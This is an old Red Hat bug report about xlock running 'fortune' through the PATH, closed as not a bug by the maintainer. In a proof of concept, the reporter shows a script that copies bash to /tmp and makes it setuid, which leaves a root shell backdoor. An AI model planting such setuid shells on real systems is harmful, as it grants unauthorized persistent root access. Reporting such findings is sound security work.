Bug 21819

Summary: xlock runs fortune command.
Product: [Retired] Red Hat Linux Reporter: Jeremiah Johnson <mr.miah>
Component: xlockmoreAssignee: Harald Hoyer <harald>
Status: CLOSED NOTABUG QA Contact:
Severity: medium Docs Contact:
Priority: medium    
Version: 6.2Keywords: Security
Target Milestone: ---   
Target Release: ---   
Hardware: i386   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2000-12-06 19:39:35 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description Jeremiah Johnson 2000-12-06 19:39:32 UTC
When xlock is running, it may run the fortune command for one of its screen
savers.  The fortune program on redhat 6.2 resides in /usr/games.  By
default this is not in anybodies $PATH.  When xlock tries to run fortune it
normally prints "sh: fortune: command not found".  To test a theory I
created a file in /bin called fortune.  It included the following.

[root@inflammation /bin]# cat fortune 
cp /bin/bash /tmp
chmod +s /tmp/bash
/usr/games/fortune

After a few times of running xlock, it ran fortune and actually ran
fortune.  I then did a ls in /tmp to see what was there and to my surprise
I have a nice setuid bash shell.

[root@inflammation /bin]# ls -l /tmp
total 488
-rwsr-sr-x    1 root     root       316848 Dec  6 11:28 bash


I realize that by default it would be hard to put such a script in any of
the standard bin paths (/bin:/usr/bin:/sbin:/usr/sbin etc).  But it may be
possible to gain elevated privledges and then overwrite another binary with
a similar script and rename it to 'fortune'.

Comment 1 Harald Hoyer 2000-12-15 13:59:51 UTC
If you can place s.th. in those standard paths, you may replace other binaries
too and can even get root priviledges in another way... so I say: no bug!